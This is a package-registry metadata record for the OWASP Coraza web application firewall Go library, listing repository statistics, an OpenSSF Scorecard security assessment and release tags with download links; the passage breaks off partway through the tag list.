[{"id":4233093,"name":"github.com/corazawaf/coraza","ecosystem":"go","description":"Copyright 2021 Juan Pablo Tosso\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.","homepage":"https://github.com/jptosso/coraza-waf","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/corazawaf/coraza","keywords_array":[],"namespace":"github.com/corazawaf","versions_count":10,"first_release_published_at":"2021-07-29T01:40:56.000Z","latest_release_published_at":"2021-09-10T15:35:38.000Z","latest_release_number":"v1.2.0","last_synced_at":"2026-06-20T08:45:38.090Z","created_at":"2022-04-12T22:43:28.730Z","updated_at":"2026-09-04T10:42:13.090Z","registry_url":"https://pkg.go.dev/github.com/corazawaf/coraza","install_command":"go get github.com/corazawaf/coraza","documentation_url":"https://pkg.go.dev/github.com/corazawaf/coraza#section-documentation","metadata":{},"repo_metadata":{"id":37098580,"uuid":"267379172","full_name":"corazawaf/coraza","owner":"corazawaf","description":"OWASP Coraza WAF is a golang modsecurity compatible web application firewall library","archived":false,"fork":false,"pushed_at":"2026-08-25T13:17:23.000Z","size":32172,"stargazers_count":3756,"open_issues_count":124,"forks_count":352,"subscribers_count":37,"default_branch":"main","last_synced_at":"2026-08-25T13:43:38.274Z","etag":null,"topics":["coraza","coraza-waf","coreruleset","go","golang","hacktoberfest","http","modsecurity","owasp","owasp-crs","waf","web-application-firewall"],"latest_commit_sha":null,"homepage":"https://www.coraza.io","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/corazawaf.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":".github/CODEOWNERS","security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":".github/copilot-instructions.md","dco":null,"cla":null,"disclosure":null},"funding":{"custom":"https://owasp.org/donate/?reponame=www-project-coraza-web-application-firewall\u0026title=OWASP+Coraza+Web+Application+Firewall","github":"OWASP"}},"created_at":"2020-05-27T17:06:51.000Z","updated_at":"2026-08-25T09:05:53.000Z","dependencies_parsed_at":"2026-08-25T13:43:38.681Z","dependency_job_id":null,"html_url":"https://github.com/corazawaf/coraza","commit_stats":{"total_commits":917,"total_committers":35,"mean_commits":26.2,"dds":0.7197382769901854,"last_synced_commit":"cbf0aa7f57983b9234efec9c84c1f723c7229cd6"},"previous_names":["jptosso/coraza","jptosso/coraza-waf"],"tags_count":41,"template":false,"template_full_name":null,"purl":"pkg:github/corazawaf/coraza","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/corazawaf","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/sbom","scorecard":{"id":304568,"data":{"date":"2025-08-11","repo":{"name":"github.com/corazawaf/coraza","commit":"838d8e35d6e0e072b7372f79c95bfc661e02f265"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":8.7,"checks":[{"name":"Maintained","score":10,"reason":"30 commit(s) and 6 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":10,"reason":"all changesets reviewed","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'checks' permission set to 'read': .github/workflows/regression.yml:86","Warn: no topLevel permission defined: .github/workflows/close-issues.yml:1","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Warn: no topLevel permission defined: .github/workflows/fuzz.yml:1","Warn: no topLevel permission defined: .github/workflows/lint.yml:1","Warn: no topLevel permission defined: .github/workflows/regression.yml:1","Warn: no topLevel permission defined: .github/workflows/tinygo.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":10,"reason":"all dependencies are pinned","details":["Info:  15 out of  15 GitHub-owned GitHubAction dependencies pinned","Info:   6 out of   6 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: GoBuiltInFuzzer integration found: internal/operators/detect_sqli_test.go:19","Info: GoBuiltInFuzzer integration found: internal/operators/detect_xss_test.go:20","Info: GoBuiltInFuzzer integration found: internal/transformations/base64decode_test.go:188","Info: GoBuiltInFuzzer integration found: internal/transformations/base64decodeext_test.go:81","Info: GoBuiltInFuzzer integration found: internal/transformations/cmd_line_test.go:31"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Vulnerabilities","score":9,"reason":"1 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GO-2025-3537 / GHSA-q9f5-625g-xm39"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":10,"reason":"SAST tool is run on all commits","details":["Info: SAST configuration detected: CodeQL","Info: all commits (30) are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T21:42:12.531Z","repository_id":37098580,"created_at":"2025-08-17T21:42:12.531Z","updated_at":"2025-08-17T21:42:12.531Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":336071963,"owners_count":37020713,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-09-04T02:00:06.169Z","response_time":115,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"corazawaf","name":"Coraza Web Application Firewall","uuid":"90621731","kind":"organization","description":"Coraza Web Application Firewall repositories","email":null,"website":"https://coraza.io","location":null,"twitter":"jptosso","company":null,"icon_url":"https://avatars.githubusercontent.com/u/90621731?v=4","repositories_count":13,"last_synced_at":"2023-03-04T05:10:32.118Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/corazawaf","funding_links":[],"total_stars":null,"followers":null,"following":null,"created_at":"2022-11-14T10:20:39.268Z","updated_at":"2023-03-04T05:10:32.162Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/corazawaf","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/corazawaf/repositories"},"tags":[{"name":"v3.7.0","sha":"27069d06c896be74b77b9a6c0b539a0cbfaca360","kind":"commit","published_at":"2026-04-06T03:18:39.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.7.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.7.0/manifests"},{"name":"v3.6.0","sha":"87332e33fcaeb8ddb08ec610bdb4f823a1415b74","kind":"commit","published_at":"2026-03-31T13:01:19.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.6.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.6.0/manifests"},{"name":"v3.5.0","sha":"85b20e07b78ae4c349fc6b864a4f1a4816c7da22","kind":"commit","published_at":"2026-03-27T02:23:28.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.5.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.5.0/manifests"},{"name":"v3.4.0","sha":"9b1d1e944e147e8f0cb92877864f71b27b9c6a7d","kind":"commit","published_at":"2026-03-11T22:30:47.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.4.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.4.0/manifests"},{"name":"v3.3.3","sha":"4722c9ad0d502abd56b8d6733c6b47eb4111742d","kind":"commit","published_at":"2025-03-20T14:44:17.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.3.3","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.3/manifests"},{"name":"v3.3.2","sha":"f4de57c3a4fc05a7ad1f09f9fdc4b9b2b7d22cb3","kind":"commit","published_at":"2025-01-09T11:12:10.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.3.2","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.2/manifests"},{"name":"v3.3.1","sha":"2904b9ff242e16fb9fe42be171b7bfd77028ba1e","kind":"commit","published_at":"2025-01-07T09:29:39.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.3.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.1/manifests"},{"name":"v3.3.0","sha":"edad23460d1ed83ddbf985f41e3c66e2265904aa","kind":"commit","published_at":"2024-12-31T08:31:27.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.3.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.3.0/manifests"},{"name":"v3.2.1","sha":"aaf44136da61921caa2353bd391c1341f3e480e8","kind":"tag","published_at":"2024-06-23T13:49:11.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.2.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.2.1/manifests"},{"name":"v3.2.0","sha":"7c91e8c2a5853fde66f8b4e3d8f0aee671445755","kind":"tag","published_at":"2024-06-20T09:47:50.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.2.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.2.0/manifests"},{"name":"v3.1.0","sha":"bb55b68dede1db71c54b08102e126e89d0299478","kind":"commit","published_at":"2024-02-09T13:11:43.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.1.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.1.0/manifests"},{"name":"v3.0.4","sha":"2468382c3cc58b6107874fe3e70f620f203d8cf5","kind":"commit","published_at":"2023-09-25T10:17:31.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.4","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.4/manifests"},{"name":"v3.0.3","sha":"4f30afeca2b6cf48f8cd73acd80b072721172782","kind":"commit","published_at":"2023-08-06T07:49:50.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.3","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.3/manifests"},{"name":"v3.0.2","sha":"0700bb01d4e656406a407b4944fd7d47483eda6d","kind":"commit","published_at":"2023-06-27T08:22:31.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.2","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.2/manifests"},{"name":"v3.0.1","sha":"a5239ba3ce839e14d9b4f9486e1b4a403dcade8c","kind":"commit","published_at":"2023-06-25T16:16:26.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.1/manifests"},{"name":"v3.0.0","sha":"ad50864cfa00f5143fff7f6877847326fdc4b394","kind":"commit","published_at":"2023-05-31T07:32:55.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0/manifests"},{"name":"v3.0.0-rc.3","sha":"721d1de4db5357d07308d07a1c2aea92085b27d4","kind":"tag","published_at":"2023-05-27T04:52:54.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.0-rc.3","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.0-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.0-rc.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0-rc.3/manifests"},{"name":"v3.0.0-rc.2","sha":"6f11f53245d24d112f9b1ddb1aedccefe87be705","kind":"commit","published_at":"2023-04-12T16:49:20.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.0-rc.2","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0-rc.2/manifests"},{"name":"v3.0.0-rc.1","sha":"c134cac34f597501c11a95eb7d1fbd7f1a219977","kind":"tag","published_at":"2023-03-17T14:27:34.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v3.0.0-rc.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v3.0.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v3.0.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v3.0.0-rc.1/manifests"},{"name":"v2.0.1","sha":"a1529abf4746ab3082eb40622fdbeed2a7777fcb","kind":"commit","published_at":"2022-07-25T14:33:14.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"fdad9f5e07fb0c061a55426627afbefcd2b5c657","kind":"commit","published_at":"2022-03-22T21:14:30.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0/manifests"},{"name":"v2.0.0-rc.3","sha":"62dd3db3f72543eaf407ea730d289265aa203fde","kind":"commit","published_at":"2022-03-10T18:21:30.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-rc.3","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-rc.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-rc.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-rc.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-rc.3/manifests"},{"name":"v2.0.0-rc.2","sha":"b57219cb5731604e02dadc5e2955bfbbcfe79e47","kind":"commit","published_at":"2022-02-11T15:02:33.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-rc.2","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-rc.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-rc.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-rc.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-rc.2/manifests"},{"name":"v2.0.0-rc.1","sha":"3631394d2249b89b792ae76ab4552a00459b31b6","kind":"commit","published_at":"2021-12-31T15:21:29.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-rc.1","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-rc.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-rc.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-rc.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-rc.1/manifests"},{"name":"v2.0.0-beta.6","sha":"364461e00d932a3070f777400a2a3b6053df3e9f","kind":"commit","published_at":"2021-12-11T18:07:37.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-beta.6","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-beta.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-beta.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.6/manifests"},{"name":"v2.0.0-beta.5","sha":"09f241f5b86c23f151c893d2a17eab5bf45a7ce2","kind":"commit","published_at":"2021-12-10T18:58:27.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-beta.5","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-beta.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-beta.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.5/manifests"},{"name":"v2.0.0-beta.4","sha":"24af0c8cf4f10bab558740b595712be3b85493ec","kind":"commit","published_at":"2021-12-06T21:49:14.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-beta.4","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-beta.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/corazawaf/coraza@v2.0.0-beta.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/corazawaf%2Fcoraza/tags/v2.0.0-beta.4/manifests"},{"name":"v2.0.0-beta.3","sha":"49869b6ff2eaf486fc5e505dc6b521bbc69f3990","kind":"commit","published_at":"2021-12-01T20:33:16.000Z","download_url":"https://codeload.github.com/corazawaf/coraza/tar.gz/v2.0.0-beta.3","html_url":"https://github.com/corazawaf/coraza/releases/tag/v2.0.0-beta.3","dependencies_parsed_a